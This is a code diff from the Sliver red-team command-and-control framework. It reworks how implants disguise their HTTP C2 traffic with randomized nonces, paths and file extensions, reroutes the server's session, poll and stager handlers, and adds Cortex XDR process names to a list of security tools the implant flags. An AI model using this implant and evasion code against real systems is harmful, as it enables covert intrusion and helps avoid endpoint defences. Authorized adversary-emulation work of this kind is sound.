(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -36,6 +36,8 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
|
||||
implantName, _ := cmd.Flags().GetString("name")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
@@ -46,7 +48,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
_, err := compile(name, profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -100,6 +100,11 @@ var knownSecurityTools = map[string][]string{
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
|
||||
@@ -19,6 +19,7 @@ package command
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
@@ -31,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
@@ -91,6 +93,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
licenses.Commands,
|
||||
settings.Commands,
|
||||
alias.Commands,
|
||||
extensions.Commands,
|
||||
armory.Commands,
|
||||
update.Commands,
|
||||
operators.Commands,
|
||||
@@ -131,6 +134,26 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
|
||||
// [ Post-command declaration setup ]-----------------------------------------
|
||||
|
||||
// Load Extensions
|
||||
// Similar to the SliverCommand loading, without adding the commands to the
|
||||
// Server command tree. This is done to ensure that the extensions are loaded
|
||||
// before the server is started, so that the extensions are registered.
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
_, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
//con doesn't appear to be initialised here?
|
||||
//con.PrintErrorf("Failed to load extension: %s", err)
|
||||
fmt.Printf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
|
||||
//for _, ext := range mext.ExtCommand {
|
||||
// extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
//}
|
||||
}
|
||||
|
||||
// Everything below this line should preferably not be any command binding
|
||||
// (although you can do so without fear). If there are any final modifications
|
||||
// to make to the server menu command tree, it time to do them here.
|
||||
|
||||
@@ -87,6 +87,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
screenshot.Commands,
|
||||
environment.Commands,
|
||||
registry.Commands,
|
||||
extensions.SliverCommands,
|
||||
)
|
||||
|
||||
// [ Filesystem ]
|
||||
@@ -127,9 +128,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
bind(consts.AliasHelpGroup)
|
||||
|
||||
// [ Extensions ]
|
||||
bind(consts.ExtensionHelpGroup,
|
||||
extensions.Commands,
|
||||
)
|
||||
bind(consts.ExtensionHelpGroup)
|
||||
|
||||
// [ Post-command declaration setup ]----------------------------------------
|
||||
|
||||
@@ -144,7 +143,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
mext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -50,6 +51,8 @@ var (
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
|
||||
NonceQueryLength = "{{.HTTPC2ImplantConfig.NonceQueryLength}}" // 8
|
||||
NonceMode = "{{.HTTPC2ImplantConfig.NonceMode}}" // Url or UrlParam
|
||||
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
@@ -196,17 +199,35 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
|
||||
// NonceQueryArgument - Adds a nonce query argument to the URL
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
|
||||
values := uri.Query()
|
||||
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
|
||||
if NonceMode == "UrlParam" {
|
||||
values := uri.Query()
|
||||
var key string
|
||||
length, _ := strconv.Atoi(NonceQueryLength)
|
||||
for i := 0; i < length; i++ {
|
||||
key += string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
}
|
||||
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
} else {
|
||||
segments := strings.Split(uri.Path, "/")
|
||||
extension := path.Ext(segments[len(segments)-1])
|
||||
index := insecureRand.Intn(len(segments))
|
||||
segments[index] = argValue
|
||||
if index == len(segments)-1 {
|
||||
segments[index] += extension
|
||||
}
|
||||
uri.Path = strings.Join(segments, "/")
|
||||
return uri
|
||||
}
|
||||
}
|
||||
|
||||
// OTPQueryArgument - Adds an OTP query argument to the URL
|
||||
@@ -283,7 +304,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
}
|
||||
queryParams := req.URL.Query()
|
||||
for _, param := range extraURLParams {
|
||||
if len(param.Method)>0 && param.Method != method {
|
||||
if len(param.Method) > 0 && param.Method != method {
|
||||
continue
|
||||
}
|
||||
probability, _ := strconv.Atoi(param.Probability)
|
||||
@@ -429,7 +450,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if s.SessionID == "" {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.parseSegments(0)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -504,7 +525,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
|
||||
uri := s.parseSegments(1)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(len(reqData))
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
encodedValue, _ := encoder.Encode(reqData)
|
||||
@@ -552,7 +573,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
s.pollCancel = nil
|
||||
|
||||
// Tell server session is closed
|
||||
uri := s.parseSegments(2)
|
||||
uri := s.parseSegments()
|
||||
nonce, _ := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -588,74 +609,43 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
|
||||
func (s *SliverHTTPClient) parseSegments() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
var (
|
||||
pollFiles []string
|
||||
pollPaths []string
|
||||
sessionFiles []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
files []string
|
||||
paths []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
// {{range .HTTPC2ImplantConfig.PathSegments}}
|
||||
// {{if eq .SegmentType 0 }}
|
||||
// {{if .IsFile}}
|
||||
pollFiles = append(pollFiles, "{{.Value}}")
|
||||
files = append(files, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
pollPaths = append(pollPaths, "{{.Value}}")
|
||||
paths = append(paths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .SegmentType 1}}
|
||||
// {{if .IsFile}}
|
||||
sessionFiles = append(sessionFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
sessionPaths = append(sessionPaths, "{{.Value}}")
|
||||
// {{range $extension := .HTTPC2ImplantConfig.Extensions}}
|
||||
extensions = append(extensions, "{{$extension}}")
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
// {{if eq .SegmentType 2}}
|
||||
// {{if .IsFile}}
|
||||
closeFiles = append(closeFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
closePaths = append(closePaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
switch segmentType {
|
||||
case 0:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
|
||||
case 1:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
|
||||
case 2:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
|
||||
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.parseSegments(1)
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
curl := s.parseSegments()
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, exts []string) []string {
|
||||
genSegments := []string{}
|
||||
if 0 < len(segments) {
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPathLength}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPathLength}}")
|
||||
n := insecureRand.Intn(max-min+1) + min // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
@@ -663,11 +653,14 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
ext := exts[insecureRand.Intn(len(exts))]
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
if ext != "" {
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
}
|
||||
return genSegments
|
||||
}
|
||||
|
||||
|
||||
+848
-865
File diff suppressed because it is too large.
Load diff
@@ -781,18 +781,18 @@ message HTTPC2ImplantConfig {
|
||||
repeated HTTPC2URLParameter ExtraURLParameters = 6;
|
||||
repeated HTTPC2Header Headers = 7;
|
||||
|
||||
int32 MaxFiles = 8;
|
||||
int32 MinFiles = 9;
|
||||
int32 MaxPaths = 10;
|
||||
int32 MinPaths = 11;
|
||||
int32 MaxFileGen = 8;
|
||||
int32 MinFileGen = 9;
|
||||
int32 MaxPathGen = 10;
|
||||
int32 MinPathGen = 11;
|
||||
int32 MaxPathLength = 12;
|
||||
int32 MinPathLength = 13;
|
||||
|
||||
string StagerFileExtension = 12;
|
||||
string PollFileExtension = 13;
|
||||
string StartSessionFileExtension = 14;
|
||||
string SessionFileExtension = 15;
|
||||
string CloseFileExtension = 16;
|
||||
repeated string extensions = 14;
|
||||
|
||||
repeated HTTPC2PathSegment PathSegments = 17;
|
||||
int32 NonceQueryLength = 18;
|
||||
string NonceMode =19;
|
||||
}
|
||||
|
||||
message HTTPC2Cookie {
|
||||
@@ -829,8 +829,7 @@ message HTTPC2PathSegment {
|
||||
string ID = 1;
|
||||
|
||||
bool IsFile = 2;
|
||||
HTTPC2SegmentType SegmentType = 3;
|
||||
string Value = 4;
|
||||
string Value = 3;
|
||||
}
|
||||
|
||||
// [ Credentials ] ----------------------------------------
|
||||
|
||||
@@ -291,6 +291,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
|
||||
+138
-128
@@ -31,7 +31,6 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -42,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
@@ -51,6 +51,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/website"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
sliverEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/gorilla/mux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -64,6 +65,7 @@ var (
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrDecryptFailed = errors.New("failed to decrypt request")
|
||||
serverConfig = configs.GetServerConfig()
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -346,17 +348,6 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
|
||||
}
|
||||
|
||||
// start stager handlers, extension are unique accross all profiles
|
||||
for _, c2Config := range c2Configs.Configs {
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExtension),
|
||||
s.stagerHandler,
|
||||
).Methods(http.MethodGet)
|
||||
}
|
||||
|
||||
router.HandleFunc("/{rpath:.*}", s.mainHandler).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
router.Use(loggingMiddleware)
|
||||
@@ -369,34 +360,61 @@ func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
|
||||
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d'", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (uint64, error) {
|
||||
func getNoncesFromURL(reqURL *url.URL, length int32) ([]uint64, error) {
|
||||
qNonce := ""
|
||||
nonces := []uint64{}
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
if len(arg) == int(length) || int(length) == 0 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
|
||||
for _, segment := range strings.Split(reqURL.Path, "/") {
|
||||
qNonce = digitsOnly(segment)
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
|
||||
if len(nonces) == 0 {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
return []uint64{}, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
|
||||
return nonces, nil
|
||||
}
|
||||
|
||||
func getEncoder(reqURL *url.URL, c2config *clientpb.HTTPC2Config) (sliverEncoders.Encoder, error) {
|
||||
var (
|
||||
err error
|
||||
nonces []uint64
|
||||
)
|
||||
|
||||
if c2config != nil {
|
||||
nonces, err = getNoncesFromURL(reqURL, c2config.ImplantConfig.NonceQueryLength)
|
||||
} else {
|
||||
// anonymous handler calling, we don't know the expected nonce length
|
||||
nonces, err = getNoncesFromURL(reqURL, 0)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
return nonce, nil
|
||||
|
||||
for _, nonce := range nonces {
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err == nil {
|
||||
return encoder, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
@@ -424,23 +442,15 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
err error
|
||||
)
|
||||
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
// find correct c2 profile
|
||||
profile, err = db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
for _, c2profile := range s.c2Config {
|
||||
if extension == c2profile.ImplantConfig.StartSessionFileExtension {
|
||||
profile = c2profile
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if profile != nil {
|
||||
@@ -456,7 +466,19 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
} else {
|
||||
// for anonymous requests user server-wide defaults
|
||||
for _, header := range serverConfig.HTTPDefaults.Headers {
|
||||
if 0 < header.Probability && header.Probability < 100 {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if header.Probability < int32(roll) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
@@ -489,54 +511,60 @@ func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Reques
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
if extension == c2Config.ImplantConfig.PollFileExtension {
|
||||
s.pollHandler(resp, req)
|
||||
return
|
||||
} else if extension == c2Config.ImplantConfig.CloseFileExtension {
|
||||
s.closeHandler(resp, req)
|
||||
return
|
||||
} else if extension == c2Config.ImplantConfig.SessionFileExtension {
|
||||
s.sessionHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
s.authenticatedHandler(resp, req, httpSession)
|
||||
return
|
||||
} else {
|
||||
s.anonymousHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
// check if this is a new session
|
||||
for _, profile := range s.c2Config {
|
||||
if extension == profile.ImplantConfig.StartSessionFileExtension {
|
||||
s.startSessionHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
// redirect to default page
|
||||
httpLog.Debugf("No pattern matches for request uri")
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
func (s *SliverHTTPC2) authenticatedHandler(resp http.ResponseWriter, req *http.Request, session *HTTPSession) {
|
||||
// Poll, session and close requests
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(session.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
encoder, err := getEncoder(req.URL, c2Config)
|
||||
if err != nil {
|
||||
s.closeHandler(resp, req, session)
|
||||
}
|
||||
|
||||
if req.Method == http.MethodPost {
|
||||
s.sessionHandler(resp, req, session, c2Config, encoder)
|
||||
return
|
||||
} else if req.Method == http.MethodGet {
|
||||
s.pollHandler(resp, req, session, encoder)
|
||||
return
|
||||
} else {
|
||||
// unsupported http method
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
// start session and staging requests
|
||||
|
||||
encoder, err := getEncoder(req.URL, nil)
|
||||
if err != nil {
|
||||
s.stagerHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.startSessionHandler(resp, req, encoder)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
body, err := io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
@@ -615,16 +643,11 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
resp.Write(respData)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req, c2profile, encoder)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
s.defaultHandler(resp, req)
|
||||
@@ -656,18 +679,10 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.ImplantConn.Send:
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
@@ -691,14 +706,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) ([]byte, error) {
|
||||
|
||||
body, err := io.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
@@ -737,14 +745,8 @@ func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
for _, cookie := range req.Cookies() {
|
||||
cookie.MaxAge = -1
|
||||
http.SetCookie(resp, cookie)
|
||||
@@ -755,30 +757,38 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request)
|
||||
|
||||
// stagerHandler - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
httpLog.Debug("Stager request")
|
||||
if nonce != 0 {
|
||||
resourceID, err := db.ResourceIDByValue(nonce)
|
||||
|
||||
var (
|
||||
resourceID *clientpb.ResourceID
|
||||
err error
|
||||
)
|
||||
|
||||
nonces, err := getNoncesFromURL(req.URL, 0)
|
||||
if err != nil {
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
for _, nonce := range nonces {
|
||||
